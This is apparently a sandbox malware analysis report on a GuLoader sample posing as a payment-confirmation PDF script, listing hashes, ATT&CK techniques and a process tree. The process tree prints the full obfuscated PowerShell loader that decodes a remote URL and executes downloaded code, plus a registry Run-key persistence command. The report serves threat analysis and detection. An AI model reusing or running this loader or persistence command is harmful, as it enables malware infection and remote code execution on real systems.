guloader | 8f1e0b157cb725222b03027e45dbe39d0b535f70349bd5b08f1e36ded2100320

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
22/08/2024, 01:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Payment_Confirmation_Advice_150000-0000837849_pdf.vbs
Size 137KB
Sample240822-cdb96asfqe
SHA256 2e011cca59e4ed2bf6827410c362224bf8d6633fb374e0b5348ba37e0c7109ed
MD5 99467417502c7520da2f7244c0f71650
SHA1 65e68cf34cbe632aea2af051e2d0e825a68cc19a
SHA512 ecce0efcb1f0af825510df4eedd91e7b46e4bb5e50bc4eeddf781fd645a0c9f793c4b84541b4047dbe95c407ddd0cae4750613173903872d19bf6f0b1e6d176e
SSDEEP 3072:1jGO63YDSdYB51Gy/ABuIWHwxoH0sHXaHb0bIkNTEx29OjmA1TbWUUC:9GO63WSdYB51Gy/quNHwaHdHqHb0bIkm
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader discovery downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	4212	WScript.exe
13	1568	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\\Strejfendes114\\').Polyodontal;%Sljfen% ($Hjemmesko184)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
1796	wab.exe
1796	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1780	powershell.exe
1796	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1780 set thread context of 1796	1780	powershell.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4000	reg.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1568	powershell.exe
1568	powershell.exe
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe
1780	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1568	powershell.exe
Token: SeDebugPrivilege	1780	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1796	wab.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4212 wrote to memory of 1568	4212	WScript.exe	87
PID 4212 wrote to memory of 1568	4212	WScript.exe	87
PID 1568 wrote to memory of 4368	1568	powershell.exe	90
PID 1568 wrote to memory of 4368	1568	powershell.exe	90
PID 1568 wrote to memory of 1780	1568	powershell.exe	95
PID 1568 wrote to memory of 1780	1568	powershell.exe	95
PID 1568 wrote to memory of 1780	1568	powershell.exe	95
PID 1780 wrote to memory of 5064	1780	powershell.exe	97
PID 1780 wrote to memory of 5064	1780	powershell.exe	97
PID 1780 wrote to memory of 5064	1780	powershell.exe	97
PID 1780 wrote to memory of 1796	1780	powershell.exe	100
PID 1780 wrote to memory of 1796	1780	powershell.exe	100
PID 1780 wrote to memory of 1796	1780	powershell.exe	100
PID 1780 wrote to memory of 1796	1780	powershell.exe	100
PID 1780 wrote to memory of 1796	1780	powershell.exe	100
PID 1796 wrote to memory of 4444	1796	wab.exe	101
PID 1796 wrote to memory of 4444	1796	wab.exe	101
PID 1796 wrote to memory of 4444	1796	wab.exe	101
PID 4444 wrote to memory of 4000	4444	cmd.exe	103
PID 4444 wrote to memory of 4000	4444	cmd.exe	103
PID 4444 wrote to memory of 4000	4444	cmd.exe	103

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment_Confirmation_Advice_150000-0000837849_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4212
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1568
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
    3⤵
    PID:4368
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.CurrentCulture) {$Betonklods82='SUBsTR';$Fredsvennens++;}$Betonklods82+='ing';Function Inditer($Forsrgelseskommunerne){$Prossed=$Forsrgelseskommunerne.Length-$Fredsvennens;For( $Cykelbuddes=2;$Cykelbuddes -lt $Prossed;$Cykelbuddes+=3){$Bondmanship+=$Forsrgelseskommunerne.$Betonklods82.'Invoke'( $Cykelbuddes, $Fredsvennens);}$Bondmanship;}function Befleaed($Matutine){ . ($Bihulen) ($Matutine);}$jordskorpen=Inditer 'DrMProUnzStiD lShlMaaPe/st5 P.Pr0J Be(SuWA.iR nAad ,oA wCosUp t.NScTWa T1R.0Te. o0To;Af SwW MiFinHy6 u4I,; U Six i6b 4Sa;St RdrUlvRo:Sh1 S2Ex1 P. F0un)Ay SG eeT cUnk To.e/Sn2T.0.a1Le0Tr0Fo1.t0Pa1S, ,oF iInrTyeCof,po xPa/.o1Vi2 B1Pr.An0.t ';$Smrrebrdsbutikker=Inditer 'A,U asReeT r T-TuALagB eHunUntPa ';$Countenanced=Inditer 'Egh .tPit,spOpsTi:As/mi/ .sE e ,rG vPrr k-SijU,kEftS..Ovc Jo .mNo/.lLAdoPeiSctSteBlrSt.MeaEkfolmAr>jehDetBrtN,pF.sJo:Br/Ve/.ov roWii mn Se eab s .aMa.BirAuo o/Mec.roPlnKrtB eUnnIot,os.n/SyLRooChi.jtSleBor ,.S,aRufI mPr ';$Mucilages=Inditer 'He>Te ';$Bihulen=Inditer ' iM.e Tx c ';$Pikparaders='Besid';$Programfunktioner = Inditer ' .eS cSuhC oIn An%SkaPopS,p Ddoxa,kt,vaHs% \A,TU rkllvabF e prskeInnObsS..VeDRea BtUn Ne&,a& U ve,nc HhMioSj AftB ';Befleaed (Inditer 'Fa$DigOvlPhoScb aaM lP,:TaMHva Mn AgPra.hl .=G,(Brc KmBadN Om/.ocC, Sn$OvPUnrU,oUrgDerDia,emdifUduL,n kDotSki eoT.nAfeKerBo)Sm ');Befleaed (Inditer 'Va$ Mg NlM oH,bNoaSelA.: uG l Vi,bmFetBr=Sk$ sCI,oLuu nKatToeEfnE a .n Pc MeR,dU.. lsAspHal,eiTotBa( F$ uMCruPicFoi l aTrg.oe AsDr)H. ');Befleaed (Inditer 'Le[S.NS eRet ,.,oSNoeDer ,vE i BcGheSuP,aoPhi Tn WtA.MMea ,nS aMig eSpr S]Cr:Ga:S.SUde.ocWou irF,iTet,eyGrPPar ooSttS.o,ycS oT,l T Ru=Ch H [PhN .eKatNo.SaS,ae FcBeuVar.aiH,t .y .PFor So .tSooDec FoN,lPoTFyy Wp.fe B]Sp:Id:D,TT,l .sSt1Ba2De ');$Countenanced=$Glimt[0];$Besttelsernes= (Inditer ' M$GugAmlSnoPab,na LlUd:piAGrkDes ii.en ajC.aS.sRa1De0af=OeNU,eSpwD.- KOI b,ujSle,acB t . .uS.iy As,etCaeLemU..SlNPoe .tka.FaWHoe.ebGlCBolEviCae.anAft');$Besttelsernes+=$Mangal[1];Befleaed ($Besttelsernes);Befleaed (Inditer ' .$guA Kk SsVei On.njOsa,ns.a1 .0.i.KaH FeMiaHod.ae.nr,mspa[ ,$GaS.emRerDer reunbOsr AdHjsEfb ZuAftViiSckRekVee,orHo]El= P$ Gj oHar ddSvsLrkH oUlr,npAfe.rnRi ');$masticatories=Inditer 'mi$UdAMekU,sNyi AnUnjReaHos S1H 0Te.ApDDio.awDrn SlFooEpa,vdGeF siP.lNoe o(Mo$F.CCoo muStnPitKaeL nWeaRen IcV,e edbe,St$t.M.xeAklSyl.ke.amScsOutSkaSvdGle Br lnLuepos,o)Ti ';$Mellemstadernes=$Mangal[0];Befleaed (Inditer ' U$UrgL lSpoasb.aaQ.lI :ShEP,p ah .e udL r.ea cN,e eafoe.o= B(R,T FeM.sCot.o-VeP,laD t EhKu Da$ BMMueTrlPolA,eInm PsTatBra md eTrr,dnB ecosAf)M. ');while (!$Ephedraceae) {Befleaed (Inditer ',n$ g lSloA.bAnap lKo:AlPL,rFaeria HcRet,ni .v ciVatPay,u=G $ GtFer Pu deo ') ;Befleaed $masticatories;Befleaed (Inditer 'FoS.ot Ta,nrS t,g-o.SDil.peBeeElpSy Br4,n ');Befleaed (Inditer 'Co$A gPalAro .bS.a Dl.h:TrEHopGyh Se .dInrlra.hcTue aUneKe=Pa(KeT eHasGet a-MePR.aSkt.chFi Be$,eM.eeCol PlBoeUnmResSatNoaKad echrAknS eFasTa) s ') ;Befleaed (Inditer ' y$A g FlO.o ibObaMilUn:UlpKrhSoa Pc DiJodUni naInl .eSuske=Su$Trg SlVioDobBra ,l .:OpL ,o .vTefBoo nrChsP l.aaF.gPeeTynChe G+ J+vi%Wr$GeGHil.riLfm CtI.. ,cenoSeu,enC,tba ') ;$Countenanced=$Glimt[$phacidiales];}$Mowrah=359146;$Hippometer30=27660;Befleaed (Inditer 'tr$ og.ulFjo,fbVaaB,l,n:SkK neTrmc iCaiLin edDaufosL.t Br iiLaeE.nPr Ta= e ,eG Ae ,t -.aCProCrn pt Se.cnSutG u$BaMHoeMolI.l,sedrm ,sTitUda,jdPhe HrCanReeM sOw ');Befleaed (Inditer 'No$W g.ql coC,bmoaP.lNa: FAR.dKaa.pmTro k2Su2 D6,k .i=Ol Ng[ChS Kyfas St,oeKvmEg.G.C .oWonNevCoe rH.tLe] R:Op:UnFC rSnoE mA.BLya OsU,eTr6Mo4SmSfytHurBli .n SgUn(Af$B K,ae .m .iFuiSpnchdtru SsVat HrPeiAfeHanP )De ');Befleaed (Inditer 'Tu$ ogU l Co bA aHvlNe: LD .i Os KcIneSkrS.pK,i.ebMal eeRinUkeResA sIn G,=Vi Sc[FoSJuy.as ,tReeN mB,.UvTSleTrxS.tal.TiE ,n,ycE,o.edU i nTeg ,]Pr: S:StAPrSj,CReIAlIIm.U,G SeLotTiSB,t.erUdiOvnCag E(Sa$.aA.nd UaSam RoCo2S.2T,6E.).e ');Befleaed (Inditer 'Ge$HogB,l .o Eb,raSclF :W,FDeo SdPebsooprl pdBefToo ,l .kJge.atTh2Jo5 .5To=Tr$ fDDiiMosSac CeHir.epF,iA.bCalChe RnCaeSks,osLa.Dmsu.uFabS s Ct TrHei n sgNo( B$ FM .oB wIsr ra AhP.,Eu$BeHAai rp GpAtoAfmkueSutMee orTr3Un0Ar)A. ');Befleaed $Fodboldfolket255;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trlberens.Dat && echo t"
      4⤵
      System Location Discovery: System Language Discovery
      PID:5064
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1796
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4444
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Sljfen% -w 1 $Hjemmesko184=(Get-ItemProperty -Path 'HKCU:\Strejfendes114\').Polyodontal;%Sljfen% ($Hjemmesko184)"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies registry key
        
        PID:4000

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 184B
SHA256 9f6d0a764adb820833d502367a4302abae58a896e058c1ca935e83e71624d6a2
MD5 7ef54e6b36418e782f10aaadfa1451b6
SHA1 11220ab5ed2db21a7cc8821be009a9ddcc3f1407
SHA512 09b147f496713282b9aa3cd9bf0bcf75eb0e0e5bea851d3b8601d65695384035bf7baa034a494b17410673fc3650ebfb4de3e7cbde9f9484cf41e89a4a561e7a
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_lqh0h3md.tvz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqh0h3md.tvz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

Trlberens.Dat

Path C:\Users\Admin\AppData\Roaming\Trlberens.Dat
Size 503KB
SHA256 75f2803d0e7e46dba622a5aa1d006d2c9eb691ac6205d454cbb6dd6ee144c35c
MD5 94ecddb2c8d3744849348f9283bc49bf
SHA1 2c8914adac132f323c52cd2328d136ad182144ed
SHA512 ad7b84e2869078379e23f8e61d08df51eddd95f7a6a692c51893d2d864c49b8b579bf2b73e56e8b672d0f0a9a95dbc005d76360c19e1b1e979092af6ca7913b7
SSDEEP 6144:rmsfzUqB9GHoEHgFwuu+u6o6KxhGC2Z7OKFnRR9vDDD7txpNzYXM8bxPCxuej:rmsf390oEg9u6ohxqRVn9xoc8JCx5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1568-14-0x00000180670E0000-0x0000018067102000-memory.dmp

Download

memory/1568-15-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

Download

memory/1568-16-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

Download

memory/1568-4-0x00007FFD19E83000-0x00007FFD19E85000-memory.dmp

Download

memory/1568-54-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

Download

memory/1568-42-0x00007FFD19E83000-0x00007FFD19E85000-memory.dmp

Download

memory/1568-43-0x00007FFD19E80000-0x00007FFD1A941000-memory.dmp

Download

memory/1780-20-0x0000000005960000-0x0000000005F88000-memory.dmp

Download

memory/1780-40-0x0000000008730000-0x0000000008CD4000-memory.dmp

Download

memory/1780-35-0x0000000006750000-0x000000000679C000-memory.dmp

Download

memory/1780-36-0x00000000080B0000-0x000000000872A000-memory.dmp

Download

memory/1780-37-0x0000000006C90000-0x0000000006CAA000-memory.dmp

Download

memory/1780-38-0x0000000007A30000-0x0000000007AC6000-memory.dmp

Download

memory/1780-39-0x0000000007930000-0x0000000007952000-memory.dmp

Download

memory/1780-34-0x0000000006710000-0x000000000672E000-memory.dmp

Download

memory/1780-33-0x0000000006130000-0x0000000006484000-memory.dmp

Download

memory/1780-23-0x0000000006000000-0x0000000006066000-memory.dmp

Download

memory/1780-22-0x00000000058F0000-0x0000000005956000-memory.dmp

Download

memory/1780-44-0x0000000008CE0000-0x0000000009688000-memory.dmp

Download

memory/1780-19-0x0000000002E30000-0x0000000002E66000-memory.dmp

Download

memory/1780-21-0x0000000005840000-0x0000000005862000-memory.dmp

Download

memory/1796-51-0x0000000001A60000-0x0000000002408000-memory.dmp

Download